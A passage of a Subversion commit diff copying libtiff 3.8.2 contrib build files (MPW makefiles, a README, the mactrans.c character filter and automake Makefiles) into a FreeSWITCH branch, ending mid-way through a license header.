+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+######################
+About contrib:mac-mpw:
+######################
+
+This directory contains all of the utilities and makefile source
+to build the LIBTIFF library and tools from the MPW Shell. The
+file BUILD.mpw in this directory is an executable script
+which uses all of these files to create the MPW makefiles and 
+run them. 
+
+The <file>.make files are not MPW makefiles as such,
+but are when run through the "mactrans" program, which turns
+the ascii "%nn" metacharacters into the standard weird MPW
+make characters.
+
+This translation trick is necessary to protect the files when
+they are put into unix tarfiles, which tend to mangle the
+special characters.
+
+ --Niles Ritter (ndr@tazboy.jpl.nasa.gov)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/libtiff.make

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/libtiff.make (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/libtiff.make) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/libtiff.make	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/libtiff.make	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,202 @@
+#
+# Tag Image File Format Library
+#
+# Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994 Sam Leffler
+# Copyright (c) 1991, 1992, 1993, 1994 Silicon Graphics, Inc.
+# 
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+
+#
+# Makefile for Mac using MPW 3.3.1 and MPW C 3.2.4
+#
+#  Note:  This file must be run through "mactrans" before it can
+#  be recognized by MPW as a valid makefile. The problem is that MPW
+#  uses special non-ASCII characters, which tend to get mangled when stored
+#  in unix tar files, etc. "mactrans" is built as part of the TIFF MPW build.
+#
+#
+
+DEPTH   = ::
+
+# FAX Options: If you do not wish to include the FAX options, uncomment
+# the first four definitions and comment out the next four 
+# definitions. Note that to build programs with the FAX libraries you
+# have to include "-model far" in your compile and link statements.
+#
+# Also, to build the fax code (including the tif_fax3sm.c file, which is
+# created by the MPW tool "mkg3states", also built below), you will
+# need to size the MPW program up to about 6 megabytes or so.
+
+#FAX_OPTIONS = 
+#FAX_OBJECTS = 	
+#FAX_SOURCES = tif_fax3.c 
+#FAX_CONFIG = 
+
+FAX_OPTIONS = -model far
+FAX_OBJECTS = 	tif_fax3.c.o tif_fax3sm.c.o
+FAX_SOURCES = tif_fax3.c tif_fax3sm.c
+FAX_CONFIG = -d CCITT_SUPPORT
+
+NULL=
+
+RM = delete -y -i 
+COPTS = 
+
+LIBPORT=::port:libport.o
+
+#
+.c.o %c4 .c
+	{C} -model far {CFLAGS} -s {Default} {DepDir}{Default}.c -o {TargDir}{Default}.c.o
+
+
+CONF_LIBRARY= %b6
+	-d HAVE_IEEEFP=1 %b6
+	-d BSDTYPES 
+
+CONF_COMPRESSION= %b6
+	{FAX_CONFIG} %b6
+	-d COMPRESSION_SUPPORT %b6
+	-d PACKBITS_SUPPORT 	%b6
+	-d LZW_SUPPORT 	%b6
+	-d THUNDER_SUPPORT %b6
+	-d NEXT_SUPPORT 
+
+CFLAGS=	{FAX_OPTIONS} {IPATH} {CONF_LIBRARY} {CONF_COMPRESSION} 
+
+INCS=	tiff.h tiffio.h
+
+SRCS=	%b6
+	{FAX_SOURCES} %b6
+	tif_apple.c %b6
+	tif_aux.c %b6
+	tif_close.c %b6
+	tif_codec.c %b6
+	tif_compress.c %b6
+	tif_dir.c %b6
+	tif_dirinfo.c %b6
+	tif_dirread.c %b6
+	tif_dirwrite.c %b6
+	tif_dumpmode.c %b6
+	tif_error.c %b6
+	tif_getimage.c %b6
+	tif_jpeg.c %b6
+	tif_flush.c %b6
+	tif_lzw.c %b6
+	tif_next.c %b6
+	tif_open.c %b6
+	tif_packbits.c %b6
+	tif_predict.c %b6
+	tif_print.c %b6
+	tif_read.c %b6
+	tif_swab.c %b6
+	tif_strip.c %b6
+	tif_thunder.c %b6
+	tif_tile.c %b6
+	tif_version.c %b6
+	tif_warning.c %b6
+	tif_write.c %b6
+	tif_zip.c %b6
+	{NULL}
+
+OBJS=	%b6
+	{FAX_OBJECTS} %b6
+	tif_apple.c.o %b6
+	tif_aux.c.o %b6
+	tif_close.c.o %b6
+	tif_codec.c.o %b6
+	tif_compress.c.o %b6
+	tif_dir.c.o %b6
+	tif_dirinfo.c.o %b6
+	tif_dirread.c.o %b6
+	tif_dirwrite.c.o %b6
+	tif_dumpmode.c.o %b6
+	tif_error.c.o %b6
+	tif_getimage.c.o %b6
+	tif_jpeg.c.o %b6
+	tif_flush.c.o %b6
+	tif_lzw.c.o %b6
+	tif_next.c.o %b6
+	tif_open.c.o %b6
+	tif_packbits.c.o %b6
+	tif_predict.c.o %b6
+	tif_print.c.o %b6
+	tif_read.c.o %b6
+	tif_swab.c.o %b6
+	tif_strip.c.o %b6
+	tif_thunder.c.o %b6
+	tif_tile.c.o %b6
+	tif_version.c.o %b6
+	tif_warning.c.o %b6
+	tif_write.c.o %b6
+	tif_zip.c.o %b6
+	{NULL}
+
+ALL=libtiff.o
+
+all %c4 {ALL}
+
+libtiff.o %c4 {OBJS}
+	Lib  {OBJS} -o libtiff.o
+	
+
+{OBJS} %c4 tiffio.h tiff.h tiffcomp.h tiffiop.h tiffconf.h
+
+#
+# The finite state machine tables used by the G3/G4 decoders
+# are generated by the mkg3states program.  On systems without
+# make these rules have to be manually carried out.
+#
+tif_fax3sm.c %c4 mkg3states tif_fax3.h
+        {RM} tif_fax3sm.c || set status 0
+	:mkg3states -c const tif_fax3sm.c
+
+mkg3states.c.o %c4 mkg3states.c
+   C -model far  mkg3states.c -o mkg3states.c.o
+
+mkg3states %c4%c4 mkg3states.c.o
+	Link -model far -d -c 'MPS ' -t MPST %b6
+		mkg3states.c.o %b6
+		{LIBPORT} %b6
+		"{CLibraries}"StdClib.o %b6
+		"{Libraries}"Stubs.o %b6
+		"{Libraries}"Runtime.o %b6
+		"{Libraries}"Interface.o %b6
+		-o mkg3states
+
+ALPHA   = "{DEPTH}dist:tiff.alpha"
+VERSION = "{DEPTH}VERSION"
+
+version.h %c4 {VERSION} {ALPHA}
+        Set VERSION1 `catenate {VERSION}` 
+        Set VERSION2 "{VERSION1}`streamedit -e "1 rep /%a5%c5 %c5 (%c5)%a81/ %a81" {ALPHA}`" 
+        delete -y -i version.h || set status 0
+	echo '#define VERSION "LIBTIFF, Version' {VERSION2} '\nCopyright (c) 1988-1995 Sam Leffler\nCopyright (c) 1991-1995 Silicon Graphics, Inc."' >version.h
+
+tif_version.c.o %c4 version.h
+
+clean %c4
+	{RM} {ALL}  || set status 0
+	{RM} {OBJS} || set status 0
+	{RM} mkg3states || set status 0
+	{RM} mkg3states.c.o || set status 0
+	{RM} tif_fax3sm.c%c5 || set status 0
+	{RM} version.h || set status 0
+ 

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/mactrans.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/mactrans.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/mactrans.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/mactrans.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/mactrans.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+/*
+ *  mactrans.c  -- Hack filter used to generate MPW files 
+ *    with special characters from pure ASCII, denoted "%nn" 
+ *    where nn is hex. (except for "%%", which is literal '%').
+ *
+ *  calling sequence:
+ *
+ *    catenate file | mactrans [-toascii | -fromascii] > output
+ *
+ *    Written by: Niles Ritter.
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <ctype.h>
+
+void to_ascii(void);
+void from_ascii(void);
+
+main(int argc, char *argv[])
+{
+	if (argc<2 || argv[1][1]=='f') from_ascii();
+	else to_ascii();
+	exit (0);
+}
+
+void from_ascii(void)
+{
+    char c;
+    int d;
+    while ((c=getchar())!=EOF)
+    {
+    	if (c!='%' || (c=getchar())=='%') putchar(c);
+	else
+	{
+		ungetc(c,stdin);
+		scanf("%2x",&d);
+		*((unsigned char *)&c) = d;
+		putchar(c);
+	}
+    }
+}
+
+void to_ascii(void)
+{
+    char c;
+    int d;
+    while ((c=getchar())!=EOF)
+    {
+    	if (isascii(c)) putchar (c);
+	else
+	{
+		d = *((unsigned char *)&c);
+		printf("%%%2x",d);
+	}
+    }
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/port.make

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/port.make (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/port.make) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/port.make	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/port.make	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+#
+# Tag Image File Format Library
+#
+# Copyright (c) 1995 Sam Leffler
+# Copyright (c) 1995 Silicon Graphics, Inc.
+# 
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+DEPTH= ::
+SRCDIR= :
+
+NULL	=
+CC	= C
+AR	= Lib
+AROPTS	= 
+RM= delete -y
+
+IPATH	=  -I {DEPTH} -I {SRCDIR}
+COPTS	= 
+OPTIMIZER=
+CFLAGS	=  {COPTS} {OPTIMIZER} {IPATH}
+
+CFILES	= 
+OBJECTS	= getopt.c.o
+TARGETS	= libport.o
+
+.c.o %c4 .c
+	{CC} -model far {COptions} {CFLAGS} -s {Default} {DepDir}{Default}.c -o {TargDir}{Default}.c.o
+
+all %c4  {TARGETS}
+
+libport.o %c4  {OBJECTS}
+	{AR} {OBJECTS} -o libport.o
+	
+clean %c4
+	{RM} {TARGETS} {OBJECTS} || set status 0

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/tools.make

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/tools.make (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/tools.make) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/tools.make	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/tools.make	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,138 @@
+#
+# Tag Image File Format Library
+#
+# Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994 Sam Leffler
+# Copyright (c) 1991, 1992, 1993, 1994 Silicon Graphics, Inc.
+# 
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Stanford and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+
+#
+# Makefile for Mac using MPW 3.2.3 and MPW C 3.2.4
+#
+COPTS = -model far
+
+.c.o %c4 .c
+	{C} {COPTS} {CFLAGS} -s {Default} {DepDir}{Default}.c -o {TargDir}{Default}.c.o
+
+RM = delete -y -i
+
+CONF_LIBRARY= %b6
+	-d USE_CONST=0 %b6
+	-d BSDTYPES
+NULL=
+
+IPATH= -I ::libtiff
+
+CFLAGS=	-w -m {IPATH} {CONF_LIBRARY}
+
+LIBPORT= ::port:libport.o
+
+LOptions= -model far -w -srt -d -c 'MPS ' -t MPST
+
+LIBTIFF= ::libtiff:libtiff.o
+
+LIBS=	{LIBTIFF} %b6
+	{LIBPORT} %b6
+	"{CLibraries}"CSANELib.o  %b6
+	"{CLibraries}"Math.o  %b6
+	"{CLibraries}"StdClib.o  %b6
+	"{Libraries}"Stubs.o  %b6
+	"{Libraries}"Runtime.o  %b6
+	"{Libraries}"Interface.o  %b6
+	"{Libraries}"ToolLibs.o  %b6
+	{NULL}
+
+SRCS= %b6
+	pal2rgb.c %b6
+	ras2tiff.c %b6
+	thumbnail.c %b6
+	tiff2bw.c %b6
+	tiff2ps.c %b6
+	tiffcmp.c %b6
+	tiffcp.c %b6
+	tiffdither.c %b6
+	tiffdump.c %b6
+	tiffinfo.c %b6
+	tiffmedian.c %b6
+	{NULL}
+	
+MACHALL=ras2tiff
+
+ALL= %b6
+	tiffinfo  %b6
+	tiffcmp  %b6
+	tiffcp  %b6
+	tiffdump  %b6
+	tiffmedian  %b6
+	tiff2bw  %b6
+	tiffdither  %b6
+	tiff2ps  %b6
+	pal2rgb  %b6
+	gif2tiff  %b6
+	{MACHALL}
+
+all %c4 {ALL}
+
+tiffinfo %c4 tiffinfo.c.o {LIBTIFF} 
+	Link {LOptions} tiffinfo.c.o {LIBS} -o tiffinfo
+	
+tiffcmp %c4 tiffcmp.c.o {LIBTIFF}
+	Link {LOptions} tiffcmp.c.o {LIBS} -o tiffcmp
+	
+tiffcp %c4 tiffcp.c.o {LIBTIFF}
+	Link {LOptions} tiffcp.c.o {LIBS} -o tiffcp
+	
+tiffdump %c4 tiffdump.c.o {LIBTIFF}
+	Link {LOptions} tiffdump.c.o {LIBS} -o tiffdump 
+	
+tiffmedian %c4 tiffmedian.c.o {LIBTIFF}
+	Link {LOptions} tiffmedian.c.o {LIBS} -o tiffmedian
+	
+tiff2ps %c4 tiff2ps.c.o {LIBTIFF}
+	Link {LOptions} tiff2ps.c.o {LIBS} -o tiff2ps
+	
+# junky stuff...
+# convert RGB image to B&W
+tiff2bw %c4 tiff2bw.c.o {LIBTIFF}
+	Link {LOptions} tiff2bw.c.o {LIBS} -o tiff2bw
+	
+# convert B&W image to bilevel w/ FS dithering
+tiffdither %c4 tiffdither.c.o {LIBTIFF}
+	Link {LOptions} tiffdither.c.o {LIBS} -o tiffdither
+	
+# GIF converter
+gif2tiff %c4 gif2tiff.c.o {LIBTIFF}
+	Link {LOptions} gif2tiff.c.o {LIBS} -o gif2tiff
+	
+# convert Palette image to RGB
+pal2rgb %c4 pal2rgb.c.o {LIBTIFF}
+	Link {LOptions} pal2rgb.c.o {LIBS} -o pal2rgb
+	
+# Sun rasterfile converter
+ras2tiff %c4 ras2tiff.c.o {LIBTIFF}
+	Link {LOptions} ras2tiff.c.o {LIBS} -o ras2tiff
+
+# generate thumbnail images from fax
+thumbnail %c4 thumbnail.c.o {LIBTIFF}
+        Link {LOptions} thumbnail.c.o {LIBS} -o thumbnail
+	
+clean %c4
+	{RM} {ALL} %c5.c.o ycbcr

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/top.make

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/top.make (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mac-mpw/top.make) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/top.make	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mac-mpw/top.make	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,133 @@
+#
+# Tag Image File Format Library
+#
+# Copyright (c) 1988, 1989, 1990, 1991, 1992, 1993, 1994 Sam Leffler
+# Copyright (c) 1991, 1992, 1993, 1994 Silicon Graphics, Inc.
+# 
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Stanford and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+#
+
+#
+# Makefile for Mac using MPW 3.2.3 and MPW C 3.2.4
+#
+#
+#  Written by: Niles D. Ritter
+#
+
+RM= delete -y -i
+PORT=:port:
+LIBTIFF=:libtiff:
+TOOLS=:tools:
+CONTRIB=:contrib:mac-mpw:
+
+MACTRANS="{CONTRIB}mactrans"
+
+NULL=
+
+MAKEFILES = %b6
+	{PORT}Makefile %b6
+	{LIBTIFF}Makefile %b6
+	{TOOLS}Makefile %b6
+	{NULL}
+	
+all %c4 PORT LIBTIFF TOOLS
+
+MAKEFILES %c4 {MAKEFILES}
+TOOLS %c4 LIBTIFF
+
+LIBTIFF %c4 PORT
+
+# Create the port routines
+PORT %c4 {PORT}Makefile
+	directory {PORT}
+	(make || set status 0) > build.mpw
+	set echo 1
+	execute build.mpw
+	set echo 0
+	{RM} build.mpw  || set status 0
+	directory ::
+
+# Create the port routines
+LIBTIFF %c4 {LIBTIFF}Makefile
+	directory {LIBTIFF}
+	(make || set status 0) > build.mpw
+	set echo 1
+	execute build.mpw
+	set echo 0
+	{RM} build.mpw  || set status 0
+	directory ::
+
+# Create the tools
+TOOLS %c4 {TOOLS}Makefile
+	directory {TOOLS}
+	(make || set status 0) > build.mpw
+	set echo 1
+	execute build.mpw
+	set echo 0
+	{RM} build.mpw  || set status 0
+	directory ::
+
+# Makefile dependencies
+{PORT}Makefile  %c4 {CONTRIB}port.make
+	catenate {CONTRIB}port.make | {MACTRANS} > {PORT}Makefile
+
+{LIBTIFF}Makefile  %c4 {CONTRIB}libtiff.make
+	catenate {CONTRIB}libtiff.make | {MACTRANS} > {LIBTIFF}Makefile
+
+{TOOLS}Makefile  %c4 {CONTRIB}tools.make
+	catenate {CONTRIB}tools.make | {MACTRANS} > {TOOLS}Makefile
+
+
+clean %c4  clean.port clean.contrib clean.libtiff clean.tools clean.make
+
+clean.port %c4
+	directory {PORT}
+	(make clean || set status 0) > purge
+	purge
+	{RM} purge  || set status 0
+	{RM} Makefile || set status 0
+	{RM} build.mpw || set status 0
+	cd ::
+
+clean.contrib %c4
+	{RM} {MACTRANS} || set status 0
+	
+clean.libtiff %c4
+	directory {LIBTIFF}
+	(make clean || set status 0) > purge
+	purge
+	{RM} purge  || set status 0
+	{RM} Makefile || set status 0
+	{RM} build.mpw || set status 0
+	cd ::
+
+clean.tools %c4
+	directory {TOOLS}
+	(make clean || set status 0) > purge
+	purge
+	{RM} purge  || set status 0
+	{RM} Makefile || set status 0
+	{RM} build.mpw || set status 0
+	cd ::
+
+clean.make %c4
+	{RM} {MAKEFILES} || set status 0
+	{RM} build.mpw || set status 0
+

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mfs)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mfs/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README mfs_file.c
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/mfs/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/mfs/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
